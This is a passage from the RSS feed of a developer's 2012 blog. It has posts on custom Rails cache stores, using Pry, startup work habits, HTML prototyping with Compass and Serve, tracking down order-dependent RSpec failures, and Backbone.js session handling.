<span class="pl-c"># Write an entry to the cache implementation. Subclasses must implement this method.</span>
<span class="pl-k">def</span> <span class="pl-en">write_entry</span><span class="pl-kos">(</span><span class="pl-s1">key</span><span class="pl-kos">,</span> <span class="pl-s1">entry</span><span class="pl-kos">,</span> <span class="pl-s1">options</span><span class="pl-kos">)</span> <span class="pl-c"># :nodoc:</span>
  <span class="pl-en">raise</span> <span class="pl-v">NotImplementedError</span><span class="pl-kos">.</span><span class="pl-en">new</span>
<span class="pl-k">end</span>

<span class="pl-c"># Delete an entry from the cache implementation. Subclasses must implement this method.</span>
<span class="pl-k">def</span> <span class="pl-en">delete_entry</span><span class="pl-kos">(</span><span class="pl-s1">key</span><span class="pl-kos">,</span> <span class="pl-s1">options</span><span class="pl-kos">)</span> <span class="pl-c"># :nodoc:</span>
  <span class="pl-en">raise</span> <span class="pl-v">NotImplementedError</span><span class="pl-kos">.</span><span class="pl-en">new</span>
<span class="pl-k">end</span></pre></div>
<p>These methods are then used by the public interface methods. There are a few methods you can optionally implement, but your cache will work with just the three listed above.</p>
<p>For a client project, I wrote a write-through cache store called <a href="https://github.com/jch/activesupport-cascadestore">CascadeCache</a> that chains multiple cache stores together. For example, here's one possible configuration:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">cache_store</span> <span class="pl-c1">=</span> <span class="pl-kos">[</span><span class="pl-pds">:cascade_store</span><span class="pl-kos">,</span> <span class="pl-kos">{</span>
  <span class="pl-pds">:stores</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">[</span>
    <span class="pl-kos">[</span><span class="pl-pds">:memory_store</span><span class="pl-kos">,</span> <span class="pl-pds">:size</span> <span class="pl-c1">=&gt;</span> <span class="pl-c1">5</span><span class="pl-kos">.</span><span class="pl-en">megabytes</span><span class="pl-kos">]</span><span class="pl-kos">,</span>
    <span class="pl-kos">[</span><span class="pl-pds">:memcache_store</span><span class="pl-kos">,</span> <span class="pl-s">'somehost:11211'</span><span class="pl-kos">]</span>
  <span class="pl-kos">]</span>
<span class="pl-kos">}</span><span class="pl-kos">]</span></pre></div>
<p>The behavior of this cache store is to return the first hit from the list of caches. This allows the app to have a small low-latency MemoryStore in front of a MemCacheStore. If something can't be found in the MemoryCache, then we fall back to MemCache. When writing to the cache, entries are written through to both underlying cache stores. The primary reason for doing this wasn't because MemCache store was slow, but as an extra backup cache in case MemCache became temporarily unavailable (actually happened in production).</p>
<p>I'm hoping CascadeCache makes it upstream into ActiveSupport, but in the meantime, I've packaged it up as a <a href="https://github.com/jch/activesupport-cascadestore">separate gem</a>. For another example of a custom cache implementation, check out <a href="https://github.com/jodosha/redis-store">redis-store</a>. It includes an ActiveSupport compatible cache.</p>
<p>Caching is a tricky beast. On top of deciding what to cache and when to expire, the underlying cache store can affect your app's performance. Choose the cache store that best fits your needs, use a hybrid CascadeCache, or write your own. Good luck and happy tuning!</p>
  ]]></description>
</item>

<item>
  <title>Pry Productivity From Your Code</title>
  <link>https://jch.github.io/posts/2012-02-29-pry-productivity-from-your-code.html
</link>
  <guid>https://jch.github.io/posts/2012-02-29-pry-productivity-from-your-code.html
</guid>
  <pubDate>Wed, 29 Feb 2012 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/ea9799eb497552dc2db5cc19df7142d9b11d44bcd600ed7cdb57efdf8224cb4d/68747470733a2f2f696d672e736b697463682e636f6d2f32303132303232392d62623767796a73373133387136796834376832776561376375732e6a7067"><img align="right" src="https://camo.githubusercontent.com/ea9799eb497552dc2db5cc19df7142d9b11d44bcd600ed7cdb57efdf8224cb4d/68747470733a2f2f696d672e736b697463682e636f6d2f32303132303232392d62623767796a73373133387136796834376832776561376375732e6a7067" data-canonical-src="https://img.skitch.com/20120229-bb7gyjs7138q6yh47h2wea7cus.jpg" style="max-width: 100%;"></a></p>
<p>You've heard of Pry right? It's a full-featured alternative to the classic IRB shell that we use in Ruby, and it's <strong>awesome sauce</strong>. If you've ever felt like you wanted a crowbar to pry open your code during runtime... well, Pry is your answer.</p>
<p>Pry is essentially a REPL (read–eval–print loop) tool that you can use to examine and debug your code. One of the best features is that local variables are available to Pry, saving you from recreating them as you normally would in an IRB session.</p>
<div class="markdown-heading"><h3 class="heading-element">Installing Pry</h3><a id="user-content-installing-pry" class="anchor" aria-label="Permalink: Installing Pry" href="#installing-pry"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I like to install pry into the global gemset since it's a tool even when I'm outside of a Rails project</p>
<pre><code>rvm use @global
gem install pry
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Replacing IRB with Pry</h3><a id="user-content-replacing-irb-with-pry" class="anchor" aria-label="Permalink: Replacing IRB with Pry" href="#replacing-irb-with-pry"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>In your application initialization, add the following to replace IRB with pry by default. For example, Rails would add this code to config/initializers/pry.rb</p>
<pre><code>begin
  require "pry"
  IRB = pry
rescue
  # do nothing if pry fails to load
end
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Replacing ruby-debug with Pry</h3><a id="user-content-replacing-ruby-debug-with-pry" class="anchor" aria-label="Permalink: Replacing ruby-debug with Pry" href="#replacing-ruby-debug-with-pry"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Between different versions of Ruby, installing and requiring ruby-debug can lead to annoying problems. 1.8.7 uses ruby-debug, 1.9.2 requires ruby-debug19, and 1.9.3 <a href="http://blog.wyeworks.com/2011/11/1/ruby-1-9-3-and-ruby-debug" rel="nofollow">blows up</a> when you try to use ruby-debug19. ruby-debug also depends on the linecache gem, which <a href="http://beginrescueend.com/support/troubleshooting/" rel="nofollow">sometimes requires extra work to use with rvm</a> and sometimes fails in environments when the native extensions fail to build.</p>
<p>Instead, skip all that headache with Pry! Anywhere you would use a 'debugger' statement, just call:</p>
<pre><code>binding.pry
</code></pre>
<p>'binding' is a reference to the current local context. Enter 'exit' when you're finished with debugging, and the code will resume executing</p>
<div class="markdown-heading"><h3 class="heading-element">Additional features</h3><a id="user-content-additional-features" class="anchor" aria-label="Permalink: Additional features" href="#additional-features"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Pry has a ton of other productivity boosters built in. You can drop into a shell temporarily, browse docs without leaving your shell, edit and reload code, and send code snippets up to <a href="http://gist.github.com">gist</a>. For a full listing, check out <a href="http://rubydoc.info/github/pry/pry/master/file/README.markdown" rel="nofollow">their README</a></p>
<p>There's a ton of documentation for Pry and a growing community around it; if you're interested in jumping in be sure to start at their <a href="http://pry.github.com/">Github page</a> for links to tutorials, screencasts, FAQs and a Wiki!</p>
  ]]></description>
</item>

<item>
  <title>Balancing Pain and Happiness</title>
  <link>https://jch.github.io/posts/2012-02-28-balancing-pain-and-happiness.html
</link>
  <guid>https://jch.github.io/posts/2012-02-28-balancing-pain-and-happiness.html
</guid>
  <pubDate>Tue, 28 Feb 2012 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com" rel="nofollow">Opperator blog</a></em></p>
<p>When building a product for your audience, you need to empathize with their
pains and problems. It's one thing to imagine yourself in their proverbial
shoes, but it's much more effective to just wear the same damn shoes. It means
using your own product while you're building your product. Startup slang
commonly refers to this as "dog-fooding", but I dislike this term because it
evokes images of being forced fed something you don't want.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/balancing-puppy.jpg"><img src="/images/balancing-puppy.jpg" style="max-width: 100%;"></a></p>
<p>While it's important to focus on relieving your customers' pain, it's equally
important to optimize your own happiness along the way. Not only will you
enjoy your work more, your code will be "happier" as well. Allow me to
explain what happy code looks like.</p>
<p>When Michael and I started <a href="http://opperator.com" rel="nofollow">Opperator</a>, we aligned
ourselves with our customers. When life sucks for our customers, life sucks
for us. When life is awesome for our customers, life is also awesome for us.
It's a very simple formula to balance: remove sucky things, and increase
awesome things. Simple as this sounds, many entrepreneurs only tackle the
former half of the formula. For any startup, there are many things that happen
behind the scenes that your customers don't see. Things like code smells,
technical debt, and shoddy documentation. But just because your customers
don't see these things, doesn't mean that you don't.</p>
<p>We execute quickly on Opperator, but we also take the time to step back and
holistically evaluate our product.</p>
<ul>
<li>Are we happy with the direction we're going?</li>
<li>Are we happy with the code we've written?</li>
<li>Do we feel mentally or physically burned out?</li>
</ul>
<p>These aren't things that your customer will see. But over time, these things
will add up. If you're not happy with working on your product, then your
efforts will be forced, and the results will reflect this. Taking a small
slice of time to take care of any of these points will yield long term results
for your business and for yourself.</p>
  ]]></description>
</item>

<item>
  <title>Prototyping with Compass and Serve</title>
  <link>https://jch.github.io/posts/2012-01-24-prototyping-with-compass-and-serve.html
</link>
  <guid>https://jch.github.io/posts/2012-01-24-prototyping-with-compass-and-serve.html
</guid>
  <pubDate>Tue, 24 Jan 2012 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>For prototyping a new webapp, I like to get an HTML prototype on screen as
fast as possible. There are a number of ways to achieve this, ranging from the
heavyweight Rails, to the lightweight Sinatra. But even a barebones Sinatra
app requires you to specify routes and layouts. When I'm focused on sketching
out the markup structure and design, what I'm looking for is less distractions
from setup. Theoretically, one could prototype everything with raw static
HTML, but most designs usually share layouts and snippets that would be a pain
to copy and paste between different files. Writing raw CSS is also possible,
but once you've gotten a taste of Sass and Compass extensions, why would you
want to? In this post I'll outline my bottoms up approach to getting a site
design bootstrapped. I'll also cover how to get these prototypes up in a
public area for feedback, and how these prototypes can be used as scaffolding
alongside your development.</p>
<div class="markdown-heading"><h2 class="heading-element"><strong>TL;DR</strong></h2><a id="user-content-tldr" class="anchor" aria-label="Permalink: TL;DR" href="#tldr"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>This tutorial builds up an HTML prototype from the bottom up to show how
prototyping problems can be solved with compass and serve. To build an HTML
prototype, you can skip all of the details and just run:</p>
<pre><code>serve create my-project
</code></pre>
<p>Check out the <a href="http://get-serve.com/documentation/create" rel="nofollow">serve documentation</a>
for more detail. To arrive at the same conclusion step-by-step, read the long
version below.</p>
<div class="markdown-heading"><h2 class="heading-element">Overview</h2><a id="user-content-overview" class="anchor" aria-label="Permalink: Overview" href="#overview"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>We'll walk through the individual steps of building out a web prototype. We'll
start with the bare minimum and add pieces as needed. The example design I'm
using is the design for my car blog, and the final source can be <a href="https://github.com/jch/rock_road">found here
on github</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Build a single static page</h2><a id="user-content-build-a-single-static-page" class="anchor" aria-label="Permalink: Build a single static page" href="#build-a-single-static-page"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The beauty of static pages is how quick it is to set one up. We'll worry about
the other pages after we've happy with how the index page looks. For starters,
let's create a basic page skeleton.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">header</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">a</span> <span class="pl-c1">href</span>='<span class="pl-s">#</span>'<span class="pl-kos">&gt;</span>Rocky Road Blog<span class="pl-kos">&lt;/</span><span class="pl-ent">a</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">main</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">post-list</span>'<span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>='<span class="pl-s">post</span>'<span class="pl-kos">&gt;</span>
          <span class="pl-c">&lt;!-- blog post goes here --&gt;</span>
        <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">footer</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>Copyright 2011 RockyRoadBlog. All rights reserved<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span></pre></div>
<p>To stub out image assets, I used <a href="http://lorempixel.com/" rel="nofollow">LoremPixel</a>. There's
no styling at all, but the structure gives us a good idea of where everything
will live.</p>
<div class="markdown-heading"><h2 class="heading-element">Add stylesheets</h2><a id="user-content-add-stylesheets" class="anchor" aria-label="Permalink: Add stylesheets" href="#add-stylesheets"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Instead of writing raw CSS, it's much easier to write stylesheets with sass.
Compass is another library that provides a bunch of useful sass mixins and
functions. When paired with guard-compass, the stylesheets are compiled to css
files whenever you save your sass files.</p>
<p>Add the following to a Gemfile</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">source</span> <span class="pl-s">"http://rubygems.org"</span>

<span class="pl-en">gem</span> <span class="pl-s">"compass"</span>
<span class="pl-en">gem</span> <span class="pl-s">"guard"</span>
<span class="pl-en">gem</span> <span class="pl-s">"guard-compass"</span></pre></div>
<p>Then run:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">bundle</span>
<span class="pl-en">bundle</span> <span class="pl-en">exec</span> <span class="pl-en">compass</span> <span class="pl-en">init</span> --<span class="pl-s1">syntax</span><span class="pl-c1">=</span><span class="pl-en">sass</span>
<span class="pl-en">bundle</span> <span class="pl-en">exec</span> <span class="pl-en">guard</span> <span class="pl-en">init</span></pre></div>
<p>By default, <code>compass</code> uses the scss syntax, but I prefer the indentation based
sass syntax instead. Skip the <code>--syntax=sass</code> if you prefer the default. Edit
your Guardfile to look like the following:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">guard</span> <span class="pl-s">"compass"</span> <span class="pl-k">do</span>
  <span class="pl-en">watch</span><span class="pl-kos">(</span><span class="pl-sr">%r{sass/*<span class="pl-cce">\.</span>sass}</span><span class="pl-kos">)</span>
<span class="pl-k">end</span></pre></div>
<p>Let's add our first sass file and check that our setup is working. Add a main.sass to your sass/ subdirectory with the following:</p>
<pre><code>body
  background-color: red
</code></pre>
<p>Add a line to index.html in the head section to reference the compiled
stylesheet. Notice that we're referencing the compiled css file, not the
original sass source file.</p>
<pre><code>&lt;link rel='stylesheet' type='text/css' href='stylesheets/main.css'&gt;
</code></pre>
<p>Now start guard with:</p>
<pre><code>bundle exec guard
</code></pre>
<p>You should see your sass source files compile. Now whenever you make changes
to your sass files, guard will pick them up and recompile your sources.</p>
<div class="markdown-heading"><h2 class="heading-element">Reusable snippets</h2><a id="user-content-reusable-snippets" class="anchor" aria-label="Permalink: Reusable snippets" href="#reusable-snippets"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When designing, it's common to have a chunk of markup that needs to be reused
over and over. In our example, I'd like to see the design with multiple <code>post</code>
elements at once. I could duplicate the markup several times, but that's a
pain, and becomes even more painful when you have to change all of the
duplicated markup if you want to make a change. What we ideally want is to
have a separate file for the reusable snippets that we can include as many
times as we'd like.</p>
<p>Serve does exactly that (and more). First let's get it installed by adding it
to our Gemfile.</p>
<pre><code>gem "serve"  # run "bundle" after editing
</code></pre>
<p>In serve, reusable snippets are called 'partials'. Partials live in a folder
called <code>views</code> by default. To make a new partial for each individual blog
post, we create a file named <code>_post.erb</code> with the html of a post:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- in views/_post.erb --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>='<span class="pl-s">post</span>'<span class="pl-kos">&gt;</span>
  <span class="pl-c">&lt;!-- blog post goes here --&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>Whenever we want to reference that partial, we can include it in our other
templates by calling render. For example, if we want to list 5 posts per index page, we can use a simple loop:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- in index.html --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">header</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">a</span> <span class="pl-c1">href</span>='<span class="pl-s">#</span>'<span class="pl-kos">&gt;</span>Rocky Road Blog<span class="pl-kos">&lt;/</span><span class="pl-ent">a</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">main</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">post-list</span>'<span class="pl-kos">&gt;</span>
        <span class="pl-c">&lt;!-- renders 5 post divs --&gt;</span>
        <span class="pl-kos">&lt;</span>%= 5.times.each do %<span class="pl-kos">&gt;</span>
          <span class="pl-kos">&lt;</span>%= render 'post' %<span class="pl-kos">&gt;</span>
        <span class="pl-kos">&lt;</span>% end %<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">footer</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>Copyright 2011 RockyRoadBlog. All rights reserved<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span></pre></div>
<p>To see this in action, run <code>serve</code> in your terminal, and visit
<code>http://localhost:4000</code>. You should see the blog index page with 5 posts in
it.</p>
<div class="markdown-heading"><h2 class="heading-element">Layouts</h2><a id="user-content-layouts" class="anchor" aria-label="Permalink: Layouts" href="#layouts"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Our blog index page is starting to come together. But our blog will have other
pages as well. There'll be an 'About' page and also a page to show a blog post
and it's comments. These pages will share a lot of the same markup (the
header, the footer, the page structure). Rather than pulling out partials for
each of these, we can create a layout. Think of a layout as an inside-out
partial. Instead of specifying which parts are the same, you specify which
part will change. To create our layout, add the following to <code>_layout.erb</code> in
the views directory.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- views/_layout.erb --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">head</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">header</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">a</span> <span class="pl-c1">href</span>='<span class="pl-s">#</span>'<span class="pl-kos">&gt;</span>Rocky Road Blog<span class="pl-kos">&lt;/</span><span class="pl-ent">a</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">main</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span>%= yield %<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">footer</span>'<span class="pl-kos">&gt;</span>
      <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>Copyright 2011 RockyRoadBlog. All rights reserved<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">body</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">html</span><span class="pl-kos">&gt;</span></pre></div>
<p>Now we can change <code>index.html</code> to:</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>='<span class="pl-s">post-list</span>'<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span>%= 5.times.each do %<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span>%=  render 'post' %<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span>% end %<span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>If you try and view this in your browser, you'll notice that the loop didn't
render the partial and still looks like ruby code. This is because serve
determines what template language to run on a file based on it's file
extension. So to run ruby code in our index template, we need to rename it to
<code>index.html.erb</code></p>
<p>To create our About page, we just need to put the html that's different in
<code>about.erb</code></p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">h1</span><span class="pl-kos">&gt;</span>About<span class="pl-kos">&lt;/</span><span class="pl-ent">h1</span><span class="pl-kos">&gt;</span>
<span class="pl-c">&lt;!-- about us here --&gt;</span></pre></div>
<p>Serve figures out the URL paths based on the filename, so you can view this
new file at <a href="http://localhost:4000" rel="nofollow"></a><a href="http://localhost:4000" rel="nofollow">http://localhost:4000</a></p>
<div class="markdown-heading"><h2 class="heading-element">Layouts and Nested Paths</h2><a id="user-content-layouts-and-nested-paths" class="anchor" aria-label="Permalink: Layouts and Nested Paths" href="#layouts-and-nested-paths"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Up til now, we've put our html files at the top level folder. This works until
you have multiple pages and multiple layouts. Just like how it figures out
URL's from filename, serve will also pickup nested folders as part of the URL.
For example, if I wanted to create <code>/about/jerry</code> page that uses a different
layout, I could create the following directory structure:</p>
<pre><code>rrb
  _layout.erb
  show.html.erb     # show will use rrb/_layout.erb
  about
    _layout.erb
    jerry.html.erb  # jerry will use rrb/about/_layout.erb
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Publishing your prototype</h2><a id="user-content-publishing-your-prototype" class="anchor" aria-label="Permalink: Publishing your prototype" href="#publishing-your-prototype"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Once everything looks good, we still need to get feedback from people who may
not have ruby setup. Serve has a nice export utility that will flatten your
all your pages into static html files. To export your prototype, run:</p>
<pre><code>serve export
</code></pre>
<p>This will dump everything into an <code>html</code> directory that you can zip up and
share.</p>
<div class="markdown-heading"><h2 class="heading-element">Scaffolded development</h2><a id="user-content-scaffolded-development" class="anchor" aria-label="Permalink: Scaffolded development" href="#scaffolded-development"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>serve is a great tool to use alongside ruby webapp development. Since it's a
rack app, you can mount it alongside your Rails or Sinatra application and
fill out the functionality as you go.</p>
<div class="markdown-heading"><h2 class="heading-element">Design driven prototyping</h2><a id="user-content-design-driven-prototyping" class="anchor" aria-label="Permalink: Design driven prototyping" href="#design-driven-prototyping"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Prototyping out the flows and design of an application is a great way to
explore how an application will work. Paper and photoshop prototypes are
great, but actually being able to click through an HTML prototype can help the
design and user experience process. The serve library makes it easy to build
html prototypes by cutting down on the amount of setup work needed to be done.</p>
  ]]></description>
</item>

<item>
  <title>Hunting Down Execution Order Test Failures</title>
  <link>https://jch.github.io/posts/2012-01-11-hunting-down-execution-order-test-failures.html
</link>
  <guid>https://jch.github.io/posts/2012-01-11-hunting-down-execution-order-test-failures.html
</guid>
  <pubDate>Wed, 11 Jan 2012 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Unit tests should pass when run in random order. But for an existing legacy
project certain tests might depend on the execution order. One test might run
perfectly fine by itself, but fail miserably when run <em>after</em> another test.
Rather than running different combinations manually, RSpec 2.8 has the option
to run specs in random order with the <code>--order random</code> flag. But even with
this it can be hard to determine which specific test is causing the
dependency.  For example:</p>
<pre><code>rspec spec/controllers  # succeeds
rspec spec/lib/my_lib_spec.rb  # succeeds
rspec spec/controllers spec/lib/my_lib_spec.rb  # fails
</code></pre>
<p>In this scenario you know that one of the spec files in spec/controllers is
not jiving with your lib spec, but if you have hundreds of spec files, it's
hard to tell which. Never fear! There's a Ruby one-liner for that:</p>
<pre><code>ls spec/controllers/*.rb | ruby -pe '$_=`rspec #{$_} spec/lib/my_lib_spec.rb`'
</code></pre>
<p>Let's break this command down into its components:</p>
<pre><code>ls spec/controllers/*.rb
</code></pre>
<p>gives you a list of spec files to run alongside your lib spec</p>
<pre><code>ruby -pe
</code></pre>
<p>'e' for execute, and 'p' means wrap the code in a loop and assign  each line of STDIN to <code>$_</code>. We're piping in STDIN from the <code>ls</code> command.</p>
<pre><code>$_=`rspec #{$_} spec/lib/my_lib_spec.rb`
</code></pre>
<p>The 'p' flag also prints out the value of <code>$_</code> at the end of each loop. So we assign the output of running rspec with the 2 files (one from ls alongside <code>my_lib_spec</code>).</p>
<p>My bash buddies would wag their fingers at me for using a ruby one-liner here,
but it's a familiar syntax and it's easier for me than remembering other
shell commands and regex flags. If there's something another unix program is
better at processing, then I can then take the output of the ruby one-liner
and pipe it into another command. It's a very simple and versatile way to
munge on text.</p>
  ]]></description>
</item>

<item>
  <title>Backbone.js: Sessions and Authentication</title>
  <link>https://jch.github.io/posts/2012-01-11-backbonejs-sessions-and-authentication.html
</link>
  <guid>https://jch.github.io/posts/2012-01-11-backbonejs-sessions-and-authentication.html
</guid>
  <pubDate>Wed, 11 Jan 2012 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p><em>Republished from <a href="http://blog.opperator.com" rel="nofollow">Opperator blog</a></em></p>
<p>Building an API driven Javascript app brings about challenges for authentication that I've taken for granted when working with traditional http frameworks. In this post, I'll outline the basic concepts of what a session is, and how we manage sessions with Backbone.js.</p>
<p>HTTP is a stateless protocol. This means that nothing is remembered from one request to the next. This is great for normal content sites, but lacking when building a webapp. A normal HTTP request lifecycle looks like this:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/backbonejs-http.png"><img src="/images/backbonejs-http.png" alt="" style="max-width: 100%;"></a></p>
<p>But for webapps, we need to have a concept of a logged in user and unauthenticated user. Web frameworks hide this in a Session abstraction. The gist of how an authentication request flow works look like:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/backbonejs-auth-http.png"><img src="/images/backbonejs-auth-http.png" alt="" style="max-width: 100%;"></a></p>
<p>First a user will submit a login form to the backend. Instead of just returning a response, the backend will generate and remember a session id that it can use to look up this particular login for later requests. This session id is passed back to the client as a cookie value.</p>
<p>Now whenever the client makes a request, the cookie will also be sent to the backend. The backend can then check to value to know whether the user is authenticated and authorized to access the resource they're requesting.</p>
<p>With the theory part out of the way, here's how we structured authentication in Backbone.js. First, we created a Session model.</p>
<pre><code>App.Models.Session = Backbone.Model.extend
  defaults:
    access_token: null,
    user_id: null

  initialize: -&gt;
    @load()

  authenticated: -&gt;
    Boolean(@get("access_token"))

  # Saves session information to cookie
  save: (auth_hash)-&gt;
    $.cookie('user_id', auth_hash.id)
    $.cookie('access_token', auth_hash.access_token)

  # Loads session information from cookie
  load: -&gt;
    @set
      user_id: $.cookie('user_id')
      access_token: $.cookie('access_token')
</code></pre>
